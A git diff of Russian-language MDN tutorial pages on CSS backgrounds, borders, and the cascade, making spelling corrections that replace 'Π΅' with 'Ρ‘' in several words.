+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠΌΠ΅Ρ‰Π°Ρ тСкст ΠΏΠΎΠ²Π΅Ρ€Ρ… Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚Π°, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρƒ вас Π±Ρ‹Π»ΠΎ достаточно контраста, Ρ‡Ρ‚ΠΎΠ±Ρ‹ тСкст Π±Ρ‹Π» Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ для посСтитСлСй вашСго сайта.</span> <span title="">Если указываСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈ тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ ΠΏΠΎΠ²Π΅Ρ€Ρ… этого изобраТСния, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title="">, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ тСксту Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π±ΠΎΡ€Ρ‡ΠΈΠ²Ρ‹ΠΌ, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ загруТаСтся.</span></span></p>
<p>ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния, поэтому ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ чисто Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ; любой Π²Π°ΠΆΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ HTML-страницы, Π° Π½Π΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ„ΠΎΠ½Π΅.</p>
<h2 id="Π“Ρ€Π°Π½ΠΈΡ†Ρ‹">Π“Ρ€Π°Π½ΠΈΡ†Ρ‹</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π·ΡƒΡ‡Π°Ρ Π‘Π»ΠΎΡ‡Π½ΡƒΡŽ модСль, ΠΌΡ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ, ΠΊΠ°ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ нашСго Π±Π»ΠΎΠΊΠ°.</span> <span title="">Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ творчСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</span> <span title="">ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ добавляСм Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΊ элСмСнту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ сокращСнноС свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устанавливаСт Ρ†Π²Π΅Ρ‚, ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ ΡΡ‚ΠΈΠ»ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС CSS.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π·ΡƒΡ‡Π°Ρ Π‘Π»ΠΎΡ‡Π½ΡƒΡŽ модСль, ΠΌΡ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ, ΠΊΠ°ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ нашСго Π±Π»ΠΎΠΊΠ°.</span> <span title="">Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ творчСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</span> <span title="">ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ добавляСм Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΊ элСмСнту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ сокращённоС свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устанавливаСт Ρ†Π²Π΅Ρ‚, ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ ΡΡ‚ΠΈΠ»ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС CSS.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ для всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… сторон Π±Π»ΠΎΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref ("border")}}:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ для всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… сторон Π±Π»ΠΎΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref ("border")}}:</span></span></p>
<pre class="brush: css notranslate"><code>.box {
border: 1px solid black;
@@ -259,7 +259,7 @@ background-position: 10px 20px, top right;</pre>
<p><strong><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</span></span></strong>: <span class="tlid-translation translation" lang="ru"><span title="">Бвойства Π³Ρ€Π°Π½ΠΈΡ† </span></span>top, right, bottom, ΠΈ left<span class="tlid-translation translation" lang="ru"><span title=""> Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ сопоставлСнныС <em>логичСскиС</em> свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ относятся ΠΊ Ρ€Π΅ΠΆΠΈΠΌΡƒ написания Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, тСкст слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, справа Π½Π°Π»Π΅Π²ΠΎ ΠΈΠ»ΠΈ свСрху Π²Π½ΠΈΠ·).</span></span> <span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ рассмотрим ΠΈΡ… Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ касаСтся <a href="/ru/docs/CSS/Building_blocks/Handling_different_text_directions">Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ направлСниями тСкста</a>.</span></span></p>
</div>
-<p><strong>Π•ΡΡ‚ΡŒ мноТСство стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Π³Ρ€Π°Π½ΠΈΡ†. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ использовали <span class="tlid-translation translation" lang="ru"><span title="">Ρ€Π°Π·Π½Ρ‹Π΅ стили Π³Ρ€Π°Π½ΠΈΡ† для Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… сторон ΠΌΠΎΠ΅Π³ΠΎ Π±Π»ΠΎΠΊΠ°</span></span>. ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ со стилСм, ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.</strong></p>
+<p><strong>Π•ΡΡ‚ΡŒ мноТСство стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Π³Ρ€Π°Π½ΠΈΡ†. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ использовали <span class="tlid-translation translation" lang="ru"><span title="">Ρ€Π°Π·Π½Ρ‹Π΅ стили Π³Ρ€Π°Π½ΠΈΡ† для Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… сторон ΠΌΠΎΠ΅Π³ΠΎ Π±Π»ΠΎΠΊΠ°</span></span>. ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ со стилСм, ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.</strong></p>
<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 640)}}</p>
@@ -285,12 +285,12 @@ background-position: 10px 20px, top right;</pre>
<h2 id="Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_с_Π³Ρ€Π°Π½ΠΈΡ†Π°ΠΌΠΈ_ΠΈ_Ρ„ΠΎΠ½ΠΎΠΌ">Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ с Π³Ρ€Π°Π½ΠΈΡ†Π°ΠΌΠΈ ΠΈ Ρ„ΠΎΠ½ΠΎΠΌ</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свои Π½ΠΎΠ²Ρ‹Π΅ знания, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΠΎΠ½ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² качСствС ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свои Π½ΠΎΠ²Ρ‹Π΅ знания, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΠΎΠ½ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² качСствС ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ:</p>
<ol>
- <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ Ρ€Π°ΠΌΠΊΡƒ Ρ€Π°Π²Π½ΡƒΡŽΒ 5px black solid,  с Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈΒ 10px.</li>
+ <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ Ρ€Π°ΠΌΠΊΡƒ Ρ€Π°Π²Π½ΡƒΡŽΒ 5px black solid,  с Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈΒ 10px.</li>
<li>Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ URL <code>balloons.jpg</code>) ΠΈ установитС Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΏΠΎΠΊΡ€Ρ‹Π» вСсь Π±Π»ΠΎΠΊ.</li>
- <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ для <code>&lt;h2&gt;</code>Β ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ сдСлайтС тСкст Π±Π΅Π»Ρ‹ΠΌ.</li>
+ <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ для <code>&lt;h2&gt;</code>Β ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ сдСлайтС тСкст Π±Π΅Π»Ρ‹ΠΌ.</li>
</ol>
<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 555)}}Β </p>
diff --git a/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html
index b1adc206f7..dd8cf674a5 100644
--- a/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html
+++ b/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html
@@ -35,7 +35,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<p>CSS (Cascading Style Sheets) ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Π’Π°Π±Π»ΠΈΡ†Ρ‹ Π‘Ρ‚ΠΈΠ»Π΅ΠΉ ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ слово <em>"каскадныС" </em>являСтся нСвСроятно Π²Π°ΠΆΠ½Ρ‹ΠΌ для понимания: Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π²Π΅Π΄Ρ‘Ρ‚ сСбя каскад β€” ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠΈ CSS.</p>
-<p>Π’ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚, работая Π½Π°Π΄ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΏΠΎ-Π²Π°ΡˆΠ΅ΠΌΡƒ, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΊ элСмСнту, Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ создали Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ элСмСнту. <strong>Каскад</strong> ΠΈ тСсно связанная концСпция <strong>спСцифичности</strong> <span style='font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 200%;'>β€” </span> это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚, ΠΊΠ°ΠΊΠΎΠ΅ ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ примСняСтся, ΠΊΠΎΠ³Π΄Π° имССтся Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚. Π‘Ρ‚ΠΈΠ»ΡŒ вашСго элСмСнта ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π½Π΅ Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ рассчитывали, поэтому Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эти ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹.</p>
+<p>Π’ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚, работая Π½Π°Π΄ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΏΠΎ-Π²Π°ΡˆΠ΅ΠΌΡƒ, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ элСмСнту, Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ создали Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ элСмСнту. <strong>Каскад</strong> ΠΈ тСсно связанная концСпция <strong>спСцифичности</strong> <span style='font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 200%;'>β€” </span> это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚, ΠΊΠ°ΠΊΠΎΠ΅ ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ примСняСтся, ΠΊΠΎΠ³Π΄Π° имССтся Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚. Π‘Ρ‚ΠΈΠ»ΡŒ вашСго элСмСнта ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π½Π΅ Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ рассчитывали, поэтому Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эти ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹.</p>
<p>Π’Π°ΠΊΠΆΠ΅ Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠΉ являСтся концСпция <strong>наслСдования, </strong>которая Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства CSS Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ значСния, установлСнныС для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ элСмСнта, Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ повСдСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅.</p>
@@ -45,7 +45,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<p>Каскад Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, Ссли Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½ΠΎ, ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ порядок слСдования ΠΏΡ€Π°Π²ΠΈΠ» Π² CSS ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅; ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°,Β ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ΄Ρ‘Ρ‚ Π² CSS послСдним.</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ h1. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ </span><span title="">h1 окрасится синим Ρ†Π²Π΅Ρ‚ΠΎΠΌ </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> эти ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Ρ‹ΠΉ сСлСктор ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, поэтому ΠΏΠΎΠ±Π΅ΠΆΠ΄Π°Π΅Ρ‚ послСдний Π² порядкС слСдования.</span></span></p>
